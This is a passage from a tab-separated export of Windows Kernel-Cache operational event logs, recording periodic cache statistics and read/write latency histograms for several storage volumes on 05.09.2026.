CopyWriteCalls: 260285\n                       SetValidData Calls: 6602\n                       FlushCache Calls: 111364\"\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:44:03.843\t103\t\"Volume Periodic Cache Information:\n\n                       Device GUID: {23606dfe-da07-4ad7-8798-8deaced0a66e}\n                       Period Duration (microseconds): 916208946\n                       Total Dirty Pages: 1696481441\n                       Maximum Dirty Pages: 41125\n                       Total Dirty Page Threshold: 110510569094\n                       Top Dirty Page Threshold: 770987\n                       Bottom Dirty Page Threshold: 770987\n                       Dirty Page Samples: 286227\n                       Total Lazy Writer Calls: 2990\n                       Total Lazy Writer Latency: 2086525\n                       Total Lazy Writer Pages Flushed: 125054\n                       Lazy Writer Average Pages Per Second: 59892\n                       Total Pages Queued to Disk: 39791875\n                       Maximum Pages Queued to Disk: 3471\n                       Pages Queued to Disk Samples: 82752\n                       Total Metadata Pages Queued to Disk: 20576438\n                       Maximum Metadata Pages Queued to Disk: 3185\n                       Metadata Pages Queued to Disk Samples: 82738\n                       Read Total Bytes: 133539294353\n                       Read Paged-In Total Bytes: 5964598671\n                       Read-Ahead Total Bytes: 0\n                       Cache Hit Ratio (%): 95\n                       Total Writes: 284210\n                       Total Hard-Throttle Writes: 0\n                       Total Soft-Throttle Writes: 0\n                       Total Synchronous Read IO Count: 805419\n                       Total Synchronous Non-Blocking Read IO Count: 13985\n                       Total Failed Synchronous Non-Blocking Read IO Count: 1567\n                       Synchronous Read IO Maximum Latency (us): 670202\n                       Synchronous Read IO Non-Blocking Maximum Latency (us): 0\n                       Total Synchronous Write IO Count: 258771\n                       Total Synchronous Non-Blocking Write IO Count: 687\n                       Total Failed Synchronous Non-Blocking Write IO Count: 2\n                       Synchronous Write IO Maximum Latency (us): 158385\n                       Synchronous Write IO Non-Blockinig Maximum Latency (us): 0\n                       Total Asynchronous Read IO Count: 1567\n                       Asynchronous Read IO Maximum Latency (us): 47306\"\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:44:03.843\t104\t\"Volume Periodic Cache Read Latency Information:\n\n                       Device GUID: {23606dfe-da07-4ad7-8798-8deaced0a66e}\n                       Period Duration (microseconds): 916208946\n\n                       Latency Bucket Values:  [256us, 1ms, 4ms, 16ms, 64ms, 128ms, 256ms, 2000ms, 6000ms, 10000ms, 20000ms, 20000+ms]\n\n                       Synchronous Read IO Counts: [801323, 3548, 293, 190, 60, 2, 1, 4, 0, 0, 0, 0]\n                       Synchronous Read IO Total Latencies (us): [2778311, 1455902, 549343, 1806526, 1774425, 228134, 166153, 1776138, 0, 0, 0, 0]\n                       Synchronous Read Non-Blocking IO Counts: [13985, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Read Non-Blocking IO Total Latencies (us): [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Asynchronous Read IO Counts: [1331, 221, 8, 6, 1, 0, 0, 0, 0, 0, 0, 0]\n                       Asynchronous Read IO Total Latencies (us): [196180, 86986, 11680, 28305, 47306, 0, 0, 0, 0, 0, 0, 0]\"\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:44:03.843\t105\t\"Volume Periodic Cache Write Latency Information:\n\n                       Device GUID: {23606dfe-da07-4ad7-8798-8deaced0a66e}\n                       Period Duration (microseconds): 916208946\n\n                       Latency Bucket Values:  [256us, 1ms, 4ms, 16ms, 64ms, 128ms, 256ms, 2000ms, 6000ms, 10000ms, 20000ms, 20000+ms]\n\n                       Synchronous Write IO Counts: [257386, 1133, 73, 105, 70, 1, 3, 0, 0, 0, 0, 0]\n                       Synchronous Write IO Total Latencies (us): [638768, 464431, 144110, 1255233, 1935671, 74538, 442846, 0, 0, 0, 0, 0]\n                       Synchronous Write Non-Blocking IO Counts: [687, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Write Non-Blocking IO Total Latencies (us): [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\"\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:44:03.843\t103\t\"Volume Periodic Cache Information:\n\n                       Device GUID: {00000000-0000-0000-0000-000000000000}\n                       Period Duration (microseconds): 916208946\n                       Total Dirty Pages: 0\n                       Maximum Dirty Pages: 0\n                       Total Dirty Page Threshold: 0\n                       Top Dirty Page Threshold: 0\n                       Bottom Dirty Page Threshold: 0\n                       Dirty Page Samples: 0\n                       Total Lazy Writer Calls: 0\n                       Total Lazy Writer Latency: 0\n                       Total Lazy Writer Pages Flushed: 0\n                       Lazy Writer Average Pages Per Second: 0\n                       Total Pages Queued to Disk: 0\n                       Maximum Pages Queued to Disk: 0\n                       Pages Queued to Disk Samples: 0\n                       Total Metadata Pages Queued to Disk: 0\n                       Maximum Metadata Pages Queued to Disk: 0\n                       Metadata Pages Queued to Disk Samples: 0\n                       Read Total Bytes: 12586496\n                       Read Paged-In Total Bytes: 2883584\n                       Read-Ahead Total Bytes: 0\n                       Cache Hit Ratio (%): 77\n                       Total Writes: 0\n                       Total Hard-Throttle Writes: 0\n                       Total Soft-Throttle Writes: 0\n                       Total Synchronous Read IO Count: 57\n                       Total Synchronous Non-Blocking Read IO Count: 0\n                       Total Failed Synchronous Non-Blocking Read IO Count: 0\n                       Synchronous Read IO Maximum Latency (us): 203\n                       Synchronous Read IO Non-Blocking Maximum Latency (us): 0\n                       Total Synchronous Write IO Count: 0\n                       Total Synchronous Non-Blocking Write IO Count: 0\n                       Total Failed Synchronous Non-Blocking Write IO Count: 0\n                       Synchronous Write IO Maximum Latency (us): 0\n                       Synchronous Write IO Non-Blockinig Maximum Latency (us): 0\n                       Total Asynchronous Read IO Count: 0\n                       Asynchronous Read IO Maximum Latency (us): 0\"\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:44:03.843\t104\t\"Volume Periodic Cache Read Latency Information:\n\n                       Device GUID: {00000000-0000-0000-0000-000000000000}\n                       Period Duration (microseconds): 916208946\n\n                       Latency Bucket Values:  [256us, 1ms, 4ms, 16ms, 64ms, 128ms, 256ms, 2000ms, 6000ms, 10000ms, 20000ms, 20000+ms]\n\n                       Synchronous Read IO Counts: [57, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Read IO Total Latencies (us): [1437, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Read Non-Blocking IO Counts: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Read Non-Blocking IO Total Latencies (us): [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Asynchronous Read IO Counts: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Asynchronous Read IO Total Latencies (us): [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\"\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:44:03.843\t105\t\"Volume Periodic Cache Write Latency Information:\n\n                       Device GUID: {00000000-0000-0000-0000-000000000000}\n                       Period Duration (microseconds): 916208946\n\n                       Latency Bucket Values:  [256us, 1ms, 4ms, 16ms, 64ms, 128ms, 256ms, 2000ms, 6000ms, 10000ms, 20000ms, 20000+ms]\n\n                       Synchronous Write IO Counts: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Write IO Total Latencies (us): [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Write Non-Blocking IO Counts: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Write Non-Blocking IO Total Latencies (us): [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\"\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:44:03.843\t103\t\"Volume Periodic Cache Information:\n\n                       Device GUID: {23cb36d7-dcac-4575-b04d-8288cc1f8e2a}\n                       Period Duration (microseconds): 916208946\n                       Total Dirty Pages: 143\n                       Maximum Dirty Pages: 12\n                       Total Dirty Page Threshold: 35706670\n                       Top Dirty Page Threshold: 770987\n                       Bottom Dirty Page Threshold: 770987\n                       Dirty Page Samples: 75\n                       Total Lazy Writer Calls: 0\n                       Total Lazy Writer Latency: 0\n                       Total Lazy Writer Pages Flushed: 0\n                       Lazy Writer Average Pages Per Second: 0\n                       Total Pages Queued to Disk: 13\n                       Maximum Pages Queued to Disk: 3\n                       Pages Queued to Disk Samples: 32\n                       Total Metadata Pages Queued to Disk: 0\n                       Maximum Metadata Pages Queued to Disk: 0\n                       Metadata Pages Queued to Disk Samples: 32\n                       Read Total Bytes: 89878528\n                       Read Paged-In Total Bytes: 13312000\n                       Read-Ahead Total Bytes: 0\n                       Cache Hit Ratio (%): 85\n                       Total Writes: 13\n                       Total Hard-Throttle Writes: 0\n                       Total Soft-Throttle Writes: 0\n                       Total Synchronous Read IO Count: 289\n                       Total Synchronous Non-Blocking Read IO Count: 0\n                       Total Failed Synchronous Non-Blocking Read IO Count: 0\n                       Synchronous Read IO Maximum Latency (us): 1149\n                       Synchronous Read IO Non-Blocking Maximum Latency (us): 0\n                       Total Synchronous Write IO Count: 8\n                       Total Synchronous Non-Blocking Write IO Count: 2\n                       Total Failed Synchronous Non-Blocking Write IO Count: 0\n                       Synchronous Write IO Maximum Latency (us): 1158\n                       Synchronous Write IO Non-Blockinig Maximum Latency (us): 0\n                       Total Asynchronous Read IO Count: 0\n                       Asynchronous Read IO Maximum Latency (us): 0\"\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:44:03.843\t104\t\"Volume Periodic Cache Read Latency Information:\n\n                       Device GUID: {23cb36d7-dcac-4575-b04d-8288cc1f8e2a}\n                       Period Duration (microseconds): 916208946\n\n                       Latency Bucket Values:  [256us, 1ms, 4ms, 16ms, 64ms, 128ms, 256ms, 2000ms, 6000ms, 10000ms, 20000ms, 20000+ms]\n\n                       Synchronous Read IO Counts: [228, 60, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Read IO Total Latencies (us): [2679, 24883, 1149, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Read Non-Blocking IO Counts: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Read Non-Blocking IO Total Latencies (us): [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Asynchronous Read IO Counts: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Asynchronous Read IO Total Latencies (us): [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\"\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:44:03.843\t105\t\"Volume Periodic Cache Write Latency Information:\n\n                       Device GUID: {23cb36d7-dcac-4575-b04d-8288cc1f8e2a}\n                       Period Duration (microseconds): 916208946\n\n                       Latency Bucket Values:  [256us, 1ms, 4ms, 16ms, 64ms, 128ms, 256ms, 2000ms, 6000ms, 10000ms, 20000ms, 20000+ms]\n\n                       Synchronous Write IO Counts: [6, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Write IO Total Latencies (us): [331, 334, 1158, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Write Non-Blocking IO Counts: [2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Write Non-Blocking IO Total Latencies (us): [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\"\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:44:03.843\t103\t\"Volume Periodic Cache Information:\n\n                       Device GUID: {b4de30fc-d998-46fa-9187-a8f915fd81fc}\n                       Period Duration (microseconds): 916208946\n                       Total Dirty Pages: 112\n                       Maximum Dirty Pages: 9\n                       Total Dirty Page Threshold: 5827067\n                       Top Dirty Page Threshold: 770987\n                       Bottom Dirty Page Threshold: 770987\n                       Dirty Page Samples: 32\n                       Total Lazy Writer Calls: 0\n                       Total Lazy Writer Latency: 0\n                       Total Lazy Writer Pages Flushed: 0\n                       Lazy Writer Average Pages Per Second: 0\n                       Total Pages Queued to Disk: 72\n                       Maximum Pages Queued to Disk: 9\n                       Pages Queued to Disk Samples: 18\n                       Total Metadata Pages Queued to Disk: 72\n                       Maximum Metadata Pages Queued to Disk: 9\n                       Metadata Pages Queued to Disk Samples: 18\n                       Read Total Bytes: 1048576\n                       Read Paged-In Total Bytes: 786432\n                       Read-Ahead Total Bytes: 0\n                       Cache Hit Ratio (%): 25\n                       Total Writes: 0\n                       Total Hard-Throttle Writes: 0\n                       Total Soft-Throttle Writes: 0\n                       Total Synchronous Read IO Count: 3\n                       Total Synchronous Non-Blocking Read IO Count: 0\n                       Total Failed Synchronous Non-Blocking Read IO Count: 1\n                       Synchronous Read IO Maximum Latency (us): 654\n                       Synchronous Read IO Non-Blocking Maximum Latency (us): 0\n                       Total Synchronous Write IO Count: 0\n                       Total Synchronous Non-Blocking Write IO Count: 0\n                       Total Failed Synchronous Non-Blocking Write IO Count: 0\n                       Synchronous Write IO Maximum Latency (us): 0\n                       Synchronous Write IO Non-Blockinig Maximum Latency (us): 0\n                       Total Asynchronous Read IO Count: 1\n                       Asynchronous Read IO Maximum Latency (us): 11599\"\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:44:03.843\t104\t\"Volume Periodic Cache Read Latency Information:\n\n                       Device GUID: {b4de30fc-d998-46fa-9187-a8f915fd81fc}\n                       Period Duration (microseconds): 916208946\n\n                       Latency Bucket Values:  [256us, 1ms, 4ms, 16ms, 64ms, 128ms, 256ms, 2000ms, 6000ms, 10000ms, 20000ms, 20000+ms]\n\n                       Synchronous Read IO Counts: [2, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Read IO Total Latencies (us): [72, 654, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Read Non-Blocking IO Counts: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Read Non-Blocking IO Total Latencies (us): [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Asynchronous Read IO Counts: [0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Asynchronous Read IO Total Latencies (us): [0, 0, 0, 11599, 0, 0, 0, 0, 0, 0, 0, 0]\"\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:44:03.843\t105\t\"Volume Periodic Cache Write Latency Information:\n\n                       Device GUID: {b4de30fc-d998-46fa-9187-a8f915fd81fc}\n                       Period Duration (microseconds): 916208946\n\n                       Latency Bucket Values:  [256us, 1ms, 4ms, 16ms, 64ms, 128ms, 256ms, 2000ms, 6000ms, 10000ms, 20000ms, 20000+ms]\n\n                       Synchronous Write IO Counts: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Write IO Total Latencies (us): [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Write Non-Blocking IO Counts: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Write Non-Blocking IO Total Latencies (us): [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\"\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:44:03.843\t103\t\"Volume Periodic Cache Information:\n\n                       Device GUID: {071ed15c-a672-4f3b-b36f-218dce297808}\n                       Period Duration (microseconds): 916208946\n                       Total Dirty Pages: 41\n                       Maximum Dirty Pages: 6\n                       Total Dirty Page Threshold: 4748802\n                       Top Dirty Page Threshold: 770987\n                       Bottom Dirty Page Threshold: 770987\n                       Dirty Page Samples: 18\n                       Total Lazy Writer Calls: 0\n                       Total Lazy Writer Latency: 0\n                       Total Lazy Writer Pages Flushed: 0\n                       Lazy Writer Average Pages Per Second: 0\n                       Total Pages Queued to Disk: 31\n                       Maximum Pages Queued to Disk: 5\n                       Pages Queued to Disk Samples: 22\n                       Total Metadata Pages Queued to Disk: 0\n                       Maximum Metadata Pages Queued to Disk: 0\n                       Metadata Pages Queued to Disk Samples: 22\n                       Read Total Bytes: 12767232\n                       Read Paged-In Total Bytes: 9007104\n                       Read-Ahead Total Bytes: 0\n                       Cache Hit Ratio (%): 29\n                       Total Writes: 0\n                       Total Hard-Throttle Writes: 0\n                       Total Soft-Throttle Writes: 0\n                       Total Synchronous Read IO Count: 86\n                       Total Synchronous Non-Blocking Read IO Count: 0\n                       Total Failed Synchronous Non-Blocking Read IO Count: 0\n                       Synchronous Read IO Maximum Latency (us): 5116\n                       Synchronous Read IO Non-Blocking Maximum Latency (us): 0\n                       Total Synchronous Write IO Count: 0\n                       Total Synchronous Non-Blocking Write IO Count: 0\n                       Total Failed Synchronous Non-Blocking Write IO Count: 0\n                       Synchronous Write IO Maximum Latency (us): 0\n                       Synchronous Write IO Non-Blockinig Maximum Latency (us): 0\n                       Total Asynchronous Read IO Count: 0\n                       Asynchronous Read IO Maximum Latency (us): 0\"\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:44:03.843\t104\t\"Volume Periodic Cache Read Latency Information:\n\n                       Device GUID: {071ed15c-a672-4f3b-b36f-218dce297808}\n                       Period Duration (microseconds): 916208946\n\n                       Latency Bucket Values:  [256us, 1ms, 4ms, 16ms, 64ms, 128ms, 256ms, 2000ms, 6000ms, 10000ms, 20000ms, 20000+ms]\n\n                       Synchronous Read IO Counts: [25, 56, 4, 1, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Read IO Total Latencies (us): [1783, 23200, 5309, 5116, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Read Non-Blocking IO Counts: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Read Non-Blocking IO Total Latencies (us): [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Asynchronous Read IO Counts: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Asynchronous Read IO Total Latencies (us): [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\"\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:44:03.843\t105\t\"Volume Periodic Cache Write Latency Information:\n\n                       Device GUID: {071ed15c-a672-4f3b-b36f-218dce297808}\n                       Period Duration (microseconds): 916208946\n\n                       Latency Bucket Values:  [256us, 1ms, 4ms, 16ms, 64ms, 128ms, 256ms, 2000ms, 6000ms, 10000ms, 20000ms, 20000+ms]\n\n                       Synchronous Write IO Counts: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Write IO Total Latencies (us): [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Write Non-Blocking IO Counts: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Write Non-Blocking IO Total Latencies (us): [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\"\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:44:03.843\t103\t\"Volume Periodic Cache Information:\n\n                       Device GUID: {580f6681-a25f-4cec-9096-3d65cabf1f4a}\n                       Period Duration (microseconds): 916208946\n                       Total Dirty Pages: 41\n                       Maximum Dirty Pages: 5\n                       Total Dirty Page Threshold: 4396111\n                       Top Dirty Page Threshold: 770987\n                       Bottom Dirty Page Threshold: 770987\n                       Dirty Page Samples: 18\n                       Total Lazy Writer Calls: 0\n                       Total Lazy Writer Latency: 0\n                       Total Lazy Writer Pages Flushed: 0\n                       Lazy Writer Average Pages Per Second: 0\n                       Total Pages Queued to Disk: 12\n                       Maximum Pages Queued to Disk: 4\n                       Pages Queued to Disk Samples: 8\n                       Total Metadata Pages Queued to Disk: 12\n                       Maximum Metadata Pages Queued to Disk: 4\n                       Metadata Pages Queued to Disk Samples: 8\n                       Read Total Bytes: 11113984\n                       Read Paged-In Total Bytes: 262144\n                       Read-Ahead Total Bytes: 0\n                       Cache Hit Ratio (%): 97\n                       Total Writes: 0\n                       Total Hard-Throttle Writes: 0\n                       Total Soft-Throttle Writes: 0\n                       Total Synchronous Read IO Count: 1\n                       Total Synchronous Non-Blocking Read IO Count: 38\n                       Total Failed Synchronous Non-Blocking Read IO Count: 5\n                       Synchronous Read IO Maximum Latency (us): 448\n                       Synchronous Read IO Non-Blocking Maximum Latency (us): 0\n                       Total Synchronous Write IO Count: 0\n                       Total Synchronous Non-Blocking Write IO Count: 0\n                       Total Failed Synchronous Non-Blocking Write IO Count: 0\n                       Synchronous Write IO Maximum Latency (us): 0\n                       Synchronous Write IO Non-Blockinig Maximum Latency (us): 0\n                       Total Asynchronous Read IO Count: 5\n                       Asynchronous Read IO Maximum Latency (us): 251\"\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:44:03.843\t104\t\"Volume Periodic Cache Read Latency Information:\n\n                       Device GUID: {580f6681-a25f-4cec-9096-3d65cabf1f4a}\n                       Period Duration (microseconds): 916208946\n\n                       Latency Bucket Values:  [256us, 1ms, 4ms, 16ms, 64ms, 128ms, 256ms, 2000ms, 6000ms, 10000ms, 20000ms, 20000+ms]\n\n                       Synchronous Read IO Counts: [0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Read IO Total Latencies (us): [0, 448, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Read Non-Blocking IO Counts: [38, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Read Non-Blocking IO Total Latencies (us): [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Asynchronous Read IO Counts: [5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Asynchronous Read IO Total Latencies (us): [883, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\"\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:44:03.843\t105\t\"Volume Periodic Cache Write Latency Information:\n\n                       Device GUID: {580f6681-a25f-4cec-9096-3d65cabf1f4a}\n                       Period Duration (microseconds): 916208946\n\n                       Latency Bucket Values:  [256us, 1ms, 4ms, 16ms, 64ms, 128ms, 256ms, 2000ms, 6000ms, 10000ms, 20000ms, 20000+ms]\n\n                       Synchronous Write IO Counts: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Write IO Total Latencies (us): [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Write Non-Blocking IO Counts: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Write Non-Blocking IO Total Latencies (us): [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\"\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:44:03.843\t103\t\"Volume Periodic Cache Information:\n\n                       Device GUID: {f7c299ce-44f9-435a-a486-3d3fb2bfc802}\n                       Period Duration (microseconds): 916208946\n                       Total Dirty Pages: 59\n                       Maximum Dirty Pages: 5\n                       Total Dirty Page Threshold: 4552832\n                       Top Dirty Page Threshold: 770987\n                       Bottom Dirty Page Threshold: 770987\n                       Dirty Page Samples: 26\n                       Total Lazy Writer Calls: 0\n                       Total Lazy Writer Latency: 0\n                       Total Lazy Writer Pages Flushed: 0\n                       Lazy Writer Average Pages Per Second: 0\n                       Total Pages Queued to Disk: 24\n                       Maximum Pages Queued to Disk: 5\n                       Pages Queued to Disk Samples: 14\n                       Total Metadata Pages Queued to Disk: 24\n                       Maximum Metadata Pages Queued to Disk: 5\n                       Metadata Pages Queued to Disk Samples: 14\n                       Read Total Bytes: 12899840\n                       Read Paged-In Total Bytes: 1605632\n                       Read-Ahead Total Bytes: 0\n                       Cache Hit Ratio (%): 87\n                       Total Writes: 0\n                       Total Hard-Throttle Writes: 0\n                       Total Soft-Throttle Writes: 0\n                       Total Synchronous Read IO Count: 15\n                       Total Synchronous Non-Blocking Read IO Count: 38\n                       Total Failed Synchronous Non-Blocking Read IO Count: 5\n                       Synchronous Read IO Maximum Latency (us): 648\n                       Synchronous Read IO Non-Blocking Maximum Latency (us): 0\n                       Total Synchronous Write IO Count: 0\n                       Total Synchronous Non-Blocking Write IO Count: 0\n                       Total Failed Synchronous Non-Blocking Write IO Count: 0\n                       Synchronous Write IO Maximum Latency (us): 0\n                       Synchronous Write IO Non-Blockinig Maximum Latency (us): 0\n                       Total Asynchronous Read IO Count: 5\n                       Asynchronous Read IO Maximum Latency (us): 219\"\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:44:03.843\t104\t\"Volume Periodic Cache Read Latency Information:\n\n                       Device GUID: {f7c299ce-44f9-435a-a486-3d3fb2bfc802}\n                       Period Duration (microseconds): 916208946\n\n                       Latency Bucket Values:  [256us, 1ms, 4ms, 16ms, 64ms, 128ms, 256ms, 2000ms, 6000ms, 10000ms, 20000ms, 20000+ms]\n\n                       Synchronous Read IO Counts: [6, 9, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Read IO Total Latencies (us): [664, 3455, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Read Non-Blocking IO Counts: [38, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Read Non-Blocking IO Total Latencies (us): [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Asynchronous Read IO Counts: [5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Asynchronous Read IO Total Latencies (us): [842, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\"\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:44:03.843\t105\t\"Volume Periodic Cache Write Latency Information:\n\n                       Device GUID: {f7c299ce-44f9-435a-a486-3d3fb2bfc802}\n                       Period Duration (microseconds): 916208946\n\n                       Latency Bucket Values:  [256us, 1ms, 4ms, 16ms, 64ms, 128ms, 256ms, 2000ms, 6000ms, 10000ms, 20000ms, 20000+ms]\n\n                       Synchronous Write IO Counts: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Write IO Total Latencies (us): [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Write Non-Blocking IO Counts: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Write Non-Blocking IO Total Latencies (us): [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\"\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:44:03.843\t103\t\"Volume Periodic Cache Information:\n\n                       Device GUID: {5285d7ae-0000-0000-007e-000000000000}\n                       Period Duration (microseconds): 916208946\n                       Total Dirty Pages: 166\n                       Maximum Dirty Pages: 12\n                       Total Dirty Page Threshold: 9979559\n                       Top Dirty Page Threshold: 770987\n                       Bottom Dirty Page Threshold: 770987\n                       Dirty Page Samples: 28\n                       Total Lazy Writer Calls: 0\n                       Total Lazy Writer Latency: 0\n                       Total Lazy Writer Pages Flushed: 0\n                       Lazy Writer Average Pages Per Second: 0\n                       Total Pages Queued to Disk: 54\n                       Maximum Pages Queued to Disk: 12\n                       Pages Queued to Disk Samples: 14\n                       Total Metadata Pages Queued to Disk: 54\n                       Maximum Metadata Pages Queued to Disk: 12\n                       Metadata Pages Queued to Disk Samples: 14\n                       Read Total Bytes: 1572864\n                       Read Paged-In Total Bytes: 786432\n                       Read-Ahead Total Bytes: 0\n                       Cache Hit Ratio (%): 50\n                       Total Writes: 0\n                       Total Hard-Throttle Writes: 0\n                       Total Soft-Throttle Writes: 0\n                       Total Synchronous Read IO Count: 4\n                       Total Synchronous Non-Blocking Read IO Count: 0\n                       Total Failed Synchronous Non-Blocking Read IO Count: 2\n                       Synchronous Read IO Maximum Latency (us): 842\n                       Synchronous Read IO Non-Blocking Maximum Latency (us): 0\n                       Total Synchronous Write IO Count: 0\n                       Total Synchronous Non-Blocking Write IO Count: 0\n                       Total Failed Synchronous Non-Blocking Write IO Count: 0\n                       Synchronous Write IO Maximum Latency (us): 0\n                       Synchronous Write IO Non-Blockinig Maximum Latency (us): 0\n                       Total Asynchronous Read IO Count: 2\n                       Asynchronous Read IO Maximum Latency (us): 231\"\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:44:03.843\t104\t\"Volume Periodic Cache Read Latency Information:\n\n                       Device GUID: 